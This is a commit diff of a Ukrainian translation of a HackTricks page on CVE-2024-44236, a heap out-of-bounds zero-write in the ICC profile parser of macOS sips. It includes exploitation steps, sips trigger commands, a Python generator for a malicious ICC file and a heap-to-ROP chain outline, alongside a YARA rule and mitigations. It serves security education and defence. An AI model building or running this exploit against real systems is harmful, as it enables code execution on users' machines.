Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips

This commit is contained in:
Translator 2025-07-30 04:27:53 +00:00
parent 5175360eed
commit 8cd4828c8a

View File

@ -4,50 +4,94 @@
## Огляд
Уразливість запису за межами меж у парсері ICC профілів Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) через неналежну валідацію поля `offsetToCLUT` у тегах `lutAToBType` (`mAB `) та `lutBToAType` (`mBA `). Створений ICC файл може викликати нульові записи до 16 байтів за межами буфера купи, пошкоджуючи метадані купи або вказівники функцій і дозволяючи виконання довільного коду (CVE-2024-44236).
Уразливість **нульового запису** поза межами в Apple macOS **Scriptable Image Processing System** (`sips`) парсера ICC профілю (macOS 15.0.1, `sips-307`) дозволяє зловмиснику пошкодити метадані купи та перевести примітив у повне виконання коду. Помилка знаходиться в обробці поля `offsetToCLUT` тегів `lutAToBType` (`mAB `) та `lutBToAType` (`mBA `). Якщо зловмисники встановлять `offsetToCLUT == tagDataSize`, парсер стирає **16 байт після кінця буфера купи**. Спосіб розподілу пам'яті дозволяє зловмиснику обнулити структури аллокатора або вказівники C++, які пізніше будуть розіменовані, що призводить до ланцюга **випадкового запису для виконання** (CVE-2024-44236, CVSS 7.8).
> Apple виправила помилку в macOS Sonoma 15.2 / Ventura 14.7.1 (30 жовтня 2024 року). Друга варіація (CVE-2025-24185) була виправлена в macOS 15.5 та iOS/iPadOS 18.5 1 квітня 2025 року.
## Уразливий код
Уразлива функція читає та обнуляє 16 байтів, починаючи з контролюваного зловмисником зсуву, не забезпечуючи, що він знаходиться в межах виділеного буфера:
```c
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
if (i > numberOfInputChannels && buffer[i] != 0)
buffer[i] = 0;
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
```
Виконується лише перевірка `offsetToCLUT <= totalDataLength`. Встановивши `offsetToCLUT == tagDataSize`, цикл індексує до 16 байтів за межами `buffer`, пошкоджуючи сусідні метадані купи.
## Кроки експлуатації
1. **Створити шкідливий `.icc` профіль:**
- Побудувати заголовок ICC (128 байтів) з підписом `acsp` та єдиним записом тегу `lutAToBType` або `lutBToAType`.
- У таблиці тегів встановити `offsetToCLUT` рівним `size` тегу (`tagDataSize`).
- Розмістити дані, контрольовані атакуючим, безпосередньо після блоку даних тегу, щоб перезаписати метадані купи.
2. **Запустити парсинг:**
1. **Створіть шкідливий `.icc` профіль**
* Налаштуйте мінімальний заголовок ICC (`acsp`) і додайте один тег `mAB ` (або `mBA `).
* Налаштуйте таблицю тегів так, щоб **`offsetToCLUT` дорівнював розміру тегу** (`tagDataSize`).
* Розмістіть дані, контрольовані атакуючим, безпосередньо після тегу, щоб 16 нульових записів перекривали метадані аллокатора.
2. **Запустіть парсинг з будь-якою операцією sips, яка торкається профілю**
```bash
sips --verifyColor malicious.icc
# шлях перевірки (файл виводу не потрібен)
sips --verifyColor evil.icc
# або неявно при конвертації зображень, які вбудовують профіль
sips -s format png payload.jpg --out out.png
```
3. **Пошкодження метаданих купи:** OOB нульові записи перезаписують метадані аллокатора або сусідні вказівники, дозволяючи атакуючому захопити контроль над потоком виконання та досягти виконання довільного коду в контексті процесу `sips`.
3. **Корупція метаданих купи ➜ довільний запис ➜ ROP**
В аллокаторі **`nano_zone`** за замовчуванням Apple, метадані для 16-байтових слотів знаходяться **безпосередньо після** вирівняного блоку 0x1000. Розміщуючи тег профілю в кінці такого блоку, 16 нульових записів знищують `meta->slot_B`. Після наступного `free`, отруєний вказівник ставиться в чергу в маленькому списку вільних, що дозволяє атакуючому **алокувати фейковий об'єкт за довільною адресою** і перезаписати вказівник vtable C++, що використовується sips, врешті-решт перенаправляючи виконання на ланцюг ROP, збережений у шкідливому буфері ICC.
### Швидкий генератор PoC (Python 3)
```python
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
```
### Правило виявлення YARA
```yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
```
## Вплив
Успішна експлуатація призводить до віддаленого виконання довільного коду з правами користувача на системах macOS, що виконують вразливу утиліту `sips`.
Відкриття або обробка спеціально підготовленого ICC профілю призводить до віддаленого **виконання довільного коду** в контексті викликаючого користувача (Preview, QuickLook, рендеринг зображень Safari, вкладення в Mail тощо), обходячи Gatekeeper, оскільки профіль може бути вбудований у інакше безпечні зображення (PNG/JPEG/TIFF).
## Виявлення
## Виявлення та пом'якшення
- Моніторинг передачі файлів за загальними протоколами (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
- Перевірка переданих файлів з підписом `acsp`.
- Для кожного тегу `mAB ` або `mBA ` перевірити, чи дорівнює поле `Offset to CLUT` `Tag data size`.
- Позначити як підозріле, якщо ця умова виконана.
* **Патч!** Переконайтеся, що хост працює на macOS ≥ 15.2 / 14.7.1 (або iOS/iPadOS ≥ 18.1).
* Розгорніть правило YARA вище на поштових шлюзах та рішеннях EDR.
* Видаліть або очистіть вбудовані ICC профілі за допомогою `exiftool -icc_profile= -overwrite_original <file>` перед подальшою обробкою ненадійних файлів.
* Посиліть Preview/QuickLook, запускаючи їх у пісочницях "прозорості та модернізації" ВМ під час аналізу невідомого контенту.
* Для DFIR шукайте нещодавнє виконання `sips --verifyColor` або завантаження бібліотеки `ColorSync` пісочничними додатками в об'єднаному журналі.
## Посилання
- ZDI blog: CVE-2024-44236: Вразливість віддаленого виконання коду в утиліті Apple macOS sips
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
- Оновлення безпеки Apple жовтня 2024 року (патч для CVE-2024-44236)
https://support.apple.com/en-us/121564
* Trend Micro Zero Day Initiative advisory ZDI-24-1445 “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2”
https://support.apple.com/en-us/HT213981
{{#include ../../banners/hacktricks-training.md}}